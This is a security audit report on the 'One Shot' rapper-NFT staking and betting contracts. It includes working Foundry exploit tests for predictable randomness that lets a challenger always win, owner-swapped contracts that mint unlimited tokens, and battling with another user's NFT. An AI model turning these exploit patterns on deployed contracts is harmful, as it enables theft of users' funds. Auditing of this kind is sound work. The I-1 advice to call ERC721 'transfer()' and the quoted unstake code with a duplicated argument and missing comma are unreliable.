One Shot Audit Report

Version 1.0

0xEzSwim

February 26, 2024

One Shot Audit Report

0xEzSwim

February 26, 2024

One Shot Audit Report

Prepared by: 0xEzSwim

Lead Auditors:
- 0xEzSwim

Table of Contents

See table

- High
  - [H-1] Weak randomness in `RapBattle::_battle()` allows the challenger to be the winner
  - [H-2] Ownership is centralized which leaves open for infinite minting and of CRED and maxed out `IOneShot::RapperStats` without staking.
- Medium
  - [M-1] `RapBattle::goOnStageOrBattle()` don't check if the challenger is the owner of the NFT, allowing someone else to claim the winning bet
- Informational
  - [I-1] `Streets::unstake()` is calling `ERC721::transferFrom()` instead of `ERC721::transfer()`
  - [I-2] Wrong comment in `Streets::unstake()`
  - [I-3] `RapBattle::goOnStageOrBattle()` has old comment that should be removed
  - [I-4] `RapBattle::goOnStageOrBattle()` allows to bet 0 CRED
- Gas
  - [G-1] `Streets::unstake()` mints 1 CRE token every day staked
  - [G-2] `Streets` implements `IERC721Receiver`

Disclaimer

The 0xEzSwim team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
47f820dfe0ffde32f5c713bbe112ab6566435bf7
```

Scope

```
|__ src
    |__ CredToken.sol
    |__ OneShot.sol
    |__ RapBattle.sol
    |__ Streets.sol
```

Protocol Summary

When opportunity knocks, you gunna answer it? One Shot lets a user mint a rapper NFT, have it gain experience in the streets (staking) and Rap Battle against other NFTs for Cred.

OneShot.sol

The Rapper NFT.

Users mint a rapper that begins with all the flaws and self-doubt we all experience. NFT Mints with the following properties:

- `weakKnees` - True
- `heavyArms` - True
- `spaghettiSweater` - True
- `calmandReady` - False
- `battlesWon` - 0

The only way to improve these stats is by staking in the `Streets.sol`:

Streets.sol

Experience on the streets will earn you Cred and remove your rapper's doubts.

- Staked Rapper NFTs will earn 1 Cred ERC20/day staked up to 4 maximum
- Each day staked a Rapper will have properties change that will help them in their next Rap Battle

RapBattle.sol

Users can put their Cred on the line to step on stage and battle their Rappers. A base skill of 50 is applied to all rappers in battle, and this is modified by the properties the rapper holds.

- WeakKnees - False = +5
- HeavyArms - False = +5
- SpaghettiSweater - False = +5
- CalmAndReady - True = +10

Each rapper's skill is then used to weight their likelihood of randomly winning the battle!

- Winner is given the total of both bets

CredToken.sol

ERC20 token that represents a Rapper's credibility and time on the streets. The primary currency at risk in a rap battle.

Roles

- `User` - Should be able to mint a rapper, stake and unstake their rapper and go on stage/battle
- `Owner` - Deployer of the protocol, has the power to change the Street address which can mint `CRED` and update `IOneShot::RapperStats` through the `Credibility::setStreetsContract()` and `OneShot::setStreetsContract()` functions.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	1
Low	0
Info	4
Gas Optimizations	2
TOTAL	9

Findings

High

[H-1] Weak randomness in `RapBattle::_battle()` allows the challenger to be the winner

Description: Hashing `msg.sender`, `block.timestamp` and `block.prevrandao` creates a predictable final number. It is not a good random number. Malicious users can manipulate theses values or know ahead of time to choose the winner rap battle themselves.

Impact: A challenger can choose to be the winner of the rap battle, winning the CRED every time.

Proof of Concept: Add the following to the `OneShotTest.t.sol` test suite.

Code

```
    function test_weakRngBattle() public twoSkilledRappers {
        // User (defender) setup
        uint256 oldUserBalance = cred.balanceOf(user);
        console.log("Current user balance: ", oldUserBalance);
        uint256 userTokenId = 0;
        vm.startPrank(user);
        oneShot.approve(address(rapBattle), userTokenId);
        cred.approve(address(rapBattle), 10);
        rapBattle.goOnStageOrBattle(userTokenId, 3);
        vm.stopPrank();

        // Challenger (attacker) setup
        uint256 oldChallengerBalance = cred.balanceOf(challenger);
        console.log("Current challenger balance: ",
            oldChallengerBalance);
```

```
15          uint256 challengerTokenId = 1;
16          uint256 defenderRapperSkill = rapBattle.getRapperSkill(
                userTokenId);
17          uint256 challengerRapperSkill = rapBattle.getRapperSkill(
                challengerTokenId);
18          uint256 totalBattleSkill = defenderRapperSkill +
                challengerRapperSkill;
19          uint256 random =
20              uint256(keccak256(abi.encodePacked(block.timestamp, block.
                    prevrandao, challenger))) % totalBattleSkill;
21          for (random; random <= defenderRapperSkill;) {
22              vm.warp(block.timestamp + 1);
23              vm.roll(block.number + 1);
24              random =
25                  uint256(keccak256(abi.encodePacked(block.timestamp,
                        block.prevrandao, challenger))) % totalBattleSkill;
26          }
27
28          // from here, random is superior to defenderRapperSkill
                everytime
29          vm.startPrank(challenger);
30          oneShot.approve(address(rapBattle), challengerTokenId);
31          cred.approve(address(rapBattle), 10);
32          console.log("** FIGTH **");
33          rapBattle.goOnStageOrBattle(challengerTokenId, 3);
34          vm.stopPrank();
35
36          uint256 newChallengerBalance = cred.balanceOf(challenger);
37          uint256 newUserBalance = cred.balanceOf(user);
38          console.log("New challenger balance: ", newChallengerBalance);
39          console.log("New user balance: ", newUserBalance);
40
41          assert(newChallengerBalance > oldChallengerBalance);
42          assert(newUserBalance < oldUserBalance);
43          assert(newChallengerBalance == (oldChallengerBalance +
                oldUserBalance - newUserBalance));
44      }
```

Results: forge test –mt test_weakRngBattle -vv

```
1   Running 1 test for test/OneShotTest.t.sol:RapBattleTest
2   [PASS] test_weakRngBattle() (gas: 645111)
3   Logs:
4       Current user balance:  4
5       Current challenger balance:  4
6       ** FIGTH **
7       New challenger balance:  7
8       New user balance:  1
9
10  Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.13ms
```

Recommended Mitigation: Consider using an oracle (off-chain data) for your randomness like Chainlink VRF.

[H-2] Ownership is centralized which leaves open for infinite minting and of CRED and maxed out `IOneShot::RapperStats` without staking.

Description: Both `OneShot` and `Credibility` contracts have the address that deployed the contract as an owner. The owner can use both `OneShot::setStreetsContract()` and `Credibility::setStreetsContract()` to replace the streetAddress contract by a malicious one.

Impact: If the owner adress is compromised, a malicious contract implementing `Streets` can mint an infinite amount of CRED and max out `IOneShot::RapperStats` without staking.

Proof of Concept: Add the following to the `OneShotTest.t.sol` test suite.

Code

```
1     contract StreetsAttack is Streets {
2         error StreetsAttack__UnknownOwner();
3
4         address immutable i_owner;
5
6         constructor(address _oneShotContract, address
              _credibilityContract)
7             Streets(_oneShotContract, _credibilityContract)
8         {
9             i_owner = msg.sender;
10        }
11
12        function motherLoad() external {
13            uint256 currentBalance = credContract.totalSupply();
14            credContract.mint(i_owner, type(uint256).max -
                  currentBalance);
15        }
16
17        function hyperbolicTimeChamber(uint256 tokenId) external {
18            if (oneShotContract.ownerOf(tokenId) != i_owner) {
19                revert StreetsAttack__UnknownOwner();
20            }
21
22            IOneShot.RapperStats memory stakedRapperStats =
                  oneShotContract.getRapperStats(tokenId);
23            oneShotContract.updateRapperStats(tokenId, false, false,
                  false, true, stakedRapperStats.battlesWon);
```

```
24          }
25      }
26
27      contract RapBattleTest is Test {
28
29          .
30          .
31          .
32
33          function test_weakDecentralization() public {
34              address attacker = makeAddr("attacker");
35              vm.prank(attacker);
36              StreetsAttack streetsAttack = new StreetsAttack(address(
                    oneShot), address(cred));
37
38              // Compromised owner address sets new street contract
39              oneShot.setStreetsContract(address(streetsAttack));
40              cred.setStreetsContract(address(streetsAttack));
41
42              // Mint max amount of CRED
43              uint256 oldAttackerCredBalance = cred.balanceOf(attacker);
44              console.log("attacker balance: ", oldAttackerCredBalance);
45              streetsAttack.motherLoad();
46              uint256 newAttackerCredBalance = cred.balanceOf(attacker);
47              console.log("New attacker balance:  ",
                    newAttackerCredBalance);
48              assert(oldAttackerCredBalance < newAttackerCredBalance);
49              assert(cred.totalSupply() == type(uint256).max);
50
51              // Max out RapperStats NFT in less than 4 days
52              uint256 nftId = oneShot.getNextTokenId();
53              console.log("attacker's NFT id:  ", nftId);
54              vm.prank(attacker);
55              oneShot.mintRapper();
56              uint256 oldDate = block.timestamp;
57              console.log("Time BEFORE stake:  ", oldDate);
58              IOneShot.RapperStats memory oldStats = oneShot.
                    getRapperStats(nftId);
59              console.log("NFT weakKnees stat:  ", oldStats.weakKnees);
60              console.log("NFT heavyArms stat:  ", oldStats.heavyArms);
61              console.log("NFT spaghettiSweater stat:  ", oldStats.
                    spaghettiSweater);
62              console.log("NFT calmAndReady stat:  ", oldStats.
                    calmAndReady);
63              streetsAttack.hyperbolicTimeChamber(nftId);
64              uint256 newDate = block.timestamp;
65              console.log("Time AFTER stake:  ", newDate);
66              IOneShot.RapperStats memory newStats = oneShot.
                    getRapperStats(0);
67              console.log("New NFT weakKnees stat:  ", newStats.weakKnees
                    );
```

```
68              console.log("New NFT heavyArms stat:  ", newStats.heavyArms
                    );
69              console.log("New NFT spaghettiSweater stat:  ", newStats.
                    spaghettiSweater);
70              console.log("New NFT calmAndReady stat:  ", newStats.
                    calmAndReady);
71              assert(oldDate == newDate);
72              assert(
73                  oldStats.weakKnees != newStats.weakKnees && oldStats.
                        heavyArms != newStats.heavyArms
74                      && oldStats.spaghettiSweater != newStats.
                            spaghettiSweater && oldStats.calmAndReady !=
                            newStats.calmAndReady
75              );
76          }
77      }
```

Results: forge test –mt test_weakDecentralization -vv

```
1       Running 1 test for test/OneShotTest.t.sol:RapBattleTest
2       [PASS] test_weakDecentralization() (gas: 870807)
3       Logs:
4           attacker balance:  0
5           New attacker balance:
               1157920892373161954235709850086879078532699846656405640394575840079131296399
               36
6           attacker's NFT id:   0
7           Time BEFORE stake:   1
8           NFT weakKnees stat:   true
9           NFT heavyArms stat:   true
10          NFT spaghettiSweater stat:   true
11          NFT calmAndReady stat:   false
12          Time AFTER stake:   1
13          New NFT weakKnees stat:   false
14          New NFT heavyArms stat:   false
15          New NFT spaghettiSweater stat:   false
16          New NFT calmAndReady stat:   true
17
18      Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.77ms
```

Recommended Mitigation: Consider transfering ownership of `Credibility` and `OneShot` to `address(0)`.

Medium

[M-1] `RapBattle::goOnStageOrBattle()` don't check if the challenger is the owner of the NFT, allowing someone else to claim the winning bet

Description: `RapBattle::goOnStageOrBattle()` is missing a check for `msg.sender == oneShotNft.ownerOf(_tokenId)` to make sure an attacker is not rap batteling with an NFT belonging to someone else

Impact: This issue could allow a malicious user to claim the winning bet instead of the `OneShot` NFT owner

Proof of Concept: Add the following to the `OneShotTest.t.sol` test suite.

Code

```
    function test_CanBattleWithSomeoneElseNft() public
        twoSkilledRappers {
        uint256 credBet = 3;
        // User (defender) setup
        uint256 oldUserBalance = cred.balanceOf(user);
        console.log("Current user balance: ", oldUserBalance);
        uint256 userTokenId = 0;
        vm.startPrank(user);
        oneShot.approve(address(rapBattle), userTokenId);
        cred.approve(address(rapBattle), credBet);
        rapBattle.goOnStageOrBattle(userTokenId, credBet);
        vm.stopPrank();

        // Attacker setup
        address attacker = makeAddr("attacker");
        vm.prank(challenger);
        cred.transfer(attacker, credBet); // attacker has enough to
            match defender's bet
        uint256 oldAttackerBalance = cred.balanceOf(attacker);
        uint256 oldChallengerBalance = cred.balanceOf(challenger);
        console.log("Current attacker balance: ", oldAttackerBalance);
        console.log("Current challenger balance: ",
            oldChallengerBalance);
        uint256 challengerTokenId = 1;
        vm.prank(challenger); // Challenger allows attacker for reason
            X
        oneShot.approve(attacker, challengerTokenId);
        vm.startPrank(attacker);
        cred.approve(address(rapBattle), credBet);
        console.log("** FIGTH **");
        rapBattle.goOnStageOrBattle(challengerTokenId, credBet);
        vm.stopPrank();

```

```
30          uint256 newUserBalance = cred.balanceOf(user);
31          uint256 newAttackerBalance = cred.balanceOf(attacker);
32          uint256 newChallengerBalance = cred.balanceOf(challenger);
33          console.log("Current user balance: ", newUserBalance);
34          console.log("Current attacker balance: ", newAttackerBalance);
35          console.log("Current challenger balance: ",
                newChallengerBalance);
36
37          assert(oldChallengerBalance == newChallengerBalance);
38          assert(oldUserBalance > newUserBalance);
39          assert(oldAttackerBalance < newAttackerBalance);
40      }
```

Results: forge test –mt test_CanBattleWithSomeoneElseNft -vv

```
1       Running 1 test for test/OneShotTest.t.sol:RapBattleTest
2       [PASS] test_CanBattleWithSomeoneElseNft() (gas: 665152)
3       Logs:
4       Current user balance:  4
5       Current attacker balance:  3
6       Current challenger balance:  1
7       ** FIGTH **
8       Current user balance:  1
9       Current attacker balance:  6
10      Current challenger balance:  1
11
12      Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.61ms
```

Recommended Mitigation:

```
1       function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet)
            external {
2   +       require(msg.sender == oneShotNft.ownerOf(_tokenId), "RapBattle:
        Sender is not the owner of oneShotNft");
3           if (defender == address(0)) {
4               defender = msg.sender;
5               defenderBet = _credBet;
6               defenderTokenId = _tokenId;
7
8               emit OnStage(msg.sender, _tokenId, _credBet);
9
10              oneShotNft.transferFrom(msg.sender, address(this), _tokenId
                    );
11              credToken.transferFrom(msg.sender, address(this), _credBet)
                    ;
12          } else {
13              // credToken.transferFrom(msg.sender, address(this),
                    _credBet);
14              _battle(_tokenId, _credBet);
15          }
16      }
```

Informational

[I-1] `Streets::unstake()` is calling `ERC721::transferFrom()` instead of `ERC721::transfer()`

Recommended Mitigation:

```
    function unstake(uint256 tokenId) external {
        require(stakes[tokenId].owner == msg.sender, "Not the token
            owner");
        uint256 stakedDuration = block.timestamp - stakes[tokenId].
            startTime;
        uint256 daysStaked = stakedDuration / 1 days;

        // Assuming RapBattle contract has a function to update
            metadata properties
        IOneShot.RapperStats memory stakedRapperStats = oneShotContract
            .getRapperStats(tokenId);

        emit Unstaked(msg.sender, tokenId, stakedDuration);
        delete stakes[tokenId]; // Clear staking info

        // Apply changes based on the days staked
        if (daysStaked >= 1) {
            stakedRapperStats.weakKnees = false;
            credContract.mint(msg.sender, 1);
        }
        if (daysStaked >= 2) {
            stakedRapperStats.heavyArms = false;
            credContract.mint(msg.sender, 1);
        }
        if (daysStaked >= 3) {
            stakedRapperStats.spaghettiSweater = false;
            credContract.mint(msg.sender, 1);
        }
        if (daysStaked >= 4) {
            stakedRapperStats.calmAndReady = true;
            credContract.mint(msg.sender, 1);
        }

        // Only call the update function if the token was staked for at
             least one day
        if (daysStaked >= 1) {
            oneShotContract.updateRapperStats(
                tokenId,
                stakedRapperStats.battlesWon
                stakedRapperStats.weakKnees,
                stakedRapperStats.heavyArms,
                stakedRapperStats.spaghettiSweater,
                stakedRapperStats.calmAndReady,
```

```
39                      stakedRapperStats.battlesWon
40                  );
41              }
42
43              // Continue with unstaking logic (e.g., transferring the token
                    back to the owner)
44  -           oneShotContract.transferFrom(address(this), msg.sender, tokenId
    );
45  +           oneShotContract.transfer(msg.sender, tokenId);
46          }
```

[I-2] Wrong comment in `Streets::unstake()`

Description: `Rapbattle` doesn't implement a function called `updateRapperStats()`, furthermore `Streets::oneShotContract` is type `IOneShot`.

Recommended Mitigation:

```
1       function unstake(uint256 tokenId) external {
2           require(stakes[tokenId].owner == msg.sender, "Not the token
                owner");
3           uint256 stakedDuration = block.timestamp - stakes[tokenId].
                startTime;
4           uint256 daysStaked = stakedDuration / 1 days;
5
6   -       // Assuming RapBattle contract has a function to update
    metadata properties
7   +       // Assuming IOneShot contract has a function to update metadata
     properties
8
9           .
10          .
11          .
12      }
```

[I-3] `RapBattle::goOnStageOrBattle()` has old comment that should be removed

Description: `RapBattle::goOnStageOrBattle()` has a line of code that was commented.

Recommended Mitigation:

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet)
        external {
        if (defender == address(0)) {
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;

            emit OnStage(msg.sender, _tokenId, _credBet);

            oneShotNft.transferFrom(msg.sender, address(this), _tokenId
                );
            credToken.transferFrom(msg.sender, address(this), _credBet)
                ;
        } else {
-           // credToken.transferFrom(msg.sender, address(this),
    _credBet);
            _battle(_tokenId, _credBet);
        }
    }
```

[I-4] `RapBattle::goOnStageOrBattle()` allows to bet 0 CRED

Description: `RapBattle::goOnStageOrBattle()` does not check if `_credBet` is more than 0. A bet of 0 only end up spending gas for users without reward at the end wich defeats the purpose of rap battle betting

Recommended Mitigation:

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet)
        external {
        if (defender == address(0)) {
+           require(_credBet > 0, "RapBattle: Bet amounts is 0");
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;

            emit OnStage(msg.sender, _tokenId, _credBet);

            oneShotNft.transferFrom(msg.sender, address(this), _tokenId
                );
            credToken.transferFrom(msg.sender, address(this), _credBet)
                ;
        } else {
            // credToken.transferFrom(msg.sender, address(this),
                _credBet);
```

```
14              _battle(_tokenId, _credBet);
15          }
16      }
```

Gas

[G-1] `Streets::unstake()` mints 1 CRE token every day staked

Description: `Streets::unstake()` calls `Credibility::mint()` for every day the `OneShot` NFT was staked. It can be minted just once.

Recommended Mitigation:

```
1      function unstake(uint256 tokenId) external {
2          require(stakes[tokenId].owner == msg.sender, "Not the token
               owner");
3          uint256 stakedDuration = block.timestamp - stakes[tokenId].
               startTime;
4          uint256 daysStaked = stakedDuration / 1 days;
5
6          // Assuming RapBattle contract has a function to update
               metadata properties
7          IOneShot.RapperStats memory stakedRapperStats = oneShotContract
               .getRapperStats(tokenId);
8
9          emit Unstaked(msg.sender, tokenId, stakedDuration);
10         delete stakes[tokenId]; // Clear staking info
11
12         // Apply changes based on the days staked
13 -       if (daysStaked >= 1) {
14 -           stakedRapperStats.weakKnees = false;
15 -           credContract.mint(msg.sender, 1);
16 -       }
17 -       if (daysStaked >= 2) {
18 -           stakedRapperStats.heavyArms = false;
19 -           credContract.mint(msg.sender, 1);
20 -       }
21 -       if (daysStaked >= 3) {
22 -           stakedRapperStats.spaghettiSweater = false;
23 -           credContract.mint(msg.sender, 1);
24 -       }
25 -       if (daysStaked >= 4) {
26 -           stakedRapperStats.calmAndReady = true;
27 -           credContract.mint(msg.sender, 1);
28 -       }
29
30         // Only call the update function if the token was staked for at
               least one day
```

```
31          if (daysStaked >= 1) {
32  +           stakedRapperStats.weakKnees = false;
33  +           if (daysStaked >= 2) {
34  +               stakedRapperStats.heavyArms = false;
35  +           }
36  +           if (daysStaked >= 3) {
37  +               stakedRapperStats.spaghettiSweater = false;
38  +           }
39  +           if (daysStaked >= 4) {
40  +               stakedRapperStats.calmAndReady = true;
41  +           }
42  +           credContract.mint(msg.sender, daysStaked);
43              oneShotContract.updateRapperStats(
44                  tokenId,
45                  stakedRapperStats.battlesWon
46                  stakedRapperStats.weakKnees,
47                  stakedRapperStats.heavyArms,
48                  stakedRapperStats.spaghettiSweater,
49                  stakedRapperStats.calmAndReady,
50                  stakedRapperStats.battlesWon
51              );
52          }
53
54          // Continue with unstaking logic (e.g., transferring the token
                back to the owner)
55          oneShotContract.transferFrom(address(this), msg.sender, tokenId
                );
56      }
```

[G-2] `Streets` implements `IERC721Receiver`

Description: `ERC721::onERC721Received()` is called when `ERC721::safeTransfer()`, `ERC721::safeTransferFrom()` or `ERC721::_safeMint()` are called. `Streets` doesn't need to implement `IERC721Receiver` in the first place since it never calls a function in `IOneShot` and `Credibility` contracts that calls `ERC721` safe functions.

Recommended Mitigation:

```
1  -    import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
2  -   contract Streets is IERC721Receiver {
3  +   contract Streets {
4
5       .
6       .
7       .
8
```

```
9  -   function onERC721Received(address, address, uint256, bytes calldata
       ) external pure override returns (bytes4) {
10 -       return IERC721Receiver.onERC721Received.selector;
11 -   }
12
13     }
```